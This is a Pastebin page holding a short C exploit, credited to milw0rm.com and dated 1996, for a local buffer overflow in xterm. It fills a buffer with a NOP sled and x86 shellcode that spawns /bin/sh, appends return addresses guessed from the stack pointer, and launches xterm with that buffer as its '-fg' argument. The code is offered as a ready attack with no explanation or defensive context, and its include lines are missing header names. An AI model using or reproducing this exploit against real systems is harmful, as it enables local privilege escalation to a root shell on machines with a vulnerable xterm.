Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include
- #include
- #include
- #define DEFAULT_OFFSET 0
- #define BUFFER_SIZE 1491
- long get_esp(void)
- {
- __asm__("movl %esp,%eax\n");
- }
- main(int argc, char **argv)
- {
- char *buff = NULL;
- unsigned long *addr_ptr = NULL;
- char *ptr = NULL;
- char execshell[] = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2"
- "\x89\x56\x07" "\x89\x56\x0f" "\x89\x56\x14" "\x88\x56\x19" "\x31\xc0"
- "\xb0\x3b" "\x8d\x4e\x0b" "\x89\xca" "\x52" "\x51" "\x53" "\x50"
- "\xeb\x18"
- "\xe8\xd8\xff\xff\xff" "/bin/sh" "\x01\x01\x01\x01" "\x02\x02\x02\x02"
- "\x03\x03\x03\x03" "\x9a\x04\x04\x04\x04\x07\x04";
- int i, ofs=DEFAULT_OFFSET, bs=BUFFER_SIZE;
- if(argc>1)
- ofs=atoi(argv[1]);
- if(argc>2)
- bs=atoi(argv[2]);
- printf("Using offset of esp + %d (%x)\nBuffer size %d\n",
- ofs, get_esp()+ofs, bs);
- buff = malloc(4096);
- if(!buff)
- {
- printf("can't allocate memory\n");
- exit(0);
- }
- ptr = buff;
- memset(ptr, 0x90, bs-strlen(execshell));
- ptr += bs-strlen(execshell);
- for(i=0;i < strlen(execshell);i++)
- *(ptr++) = execshell[i];
- addr_ptr = (long *)ptr;
- for(i=0;i < (8/4);i++)
- *(addr_ptr++) = get_esp() + ofs;
- ptr = (char *)addr_ptr;
- *ptr = 0;
- execl("/usr/X11R6/bin/xterm", "xterm", "-fg", buff, NULL);
- }
- // milw0rm.com [1996-08-24]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement